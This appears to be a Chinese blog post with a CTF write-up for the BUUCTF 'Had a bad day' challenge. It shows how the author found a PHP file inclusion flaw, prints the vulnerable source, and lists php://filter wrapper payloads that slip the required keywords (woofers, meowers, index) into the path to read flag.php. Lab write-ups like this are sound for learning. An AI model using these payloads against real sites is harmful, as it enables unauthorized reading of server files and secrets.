BUUCTF [BSidesCF 2020]Had a bad day 文件包含与伪协议套层

打开靶机

 

 点击按钮,是猫猫

 

 试试sql注入,输个 ' 进去试试,报错,有include,判断为文件包含

 

用php://filter/convert.base64-encode/resource=index,因为它会自动补全.php,所以这里就不输入了

 

base64解码之后

   <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

发现其实没啥用...值得一提的是strpos是用来查找字符串首次出现位置,意思

就是传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试一下直接在传值后面加上 /../flag,F12发现出现了不一样的地方

 

 还是得读flag文件试试,然后就到了伪协议套层的,因为要包含woofers,meowers,index才能返回包含值,所以payload为

php://filter/convert.base64-encode/index/resource=flag
php://filter/convert.base64-encode/woofers/resource=flag
php://filter/convert.base64-encode/meowers/resource=flag

都可以试试

都得到了flag(虽然有报错hh)

 

 

posted @ 2021-08-24 17:38  Dixk-BXy  阅读(137)  评论(0编辑  收藏  举报
Live2D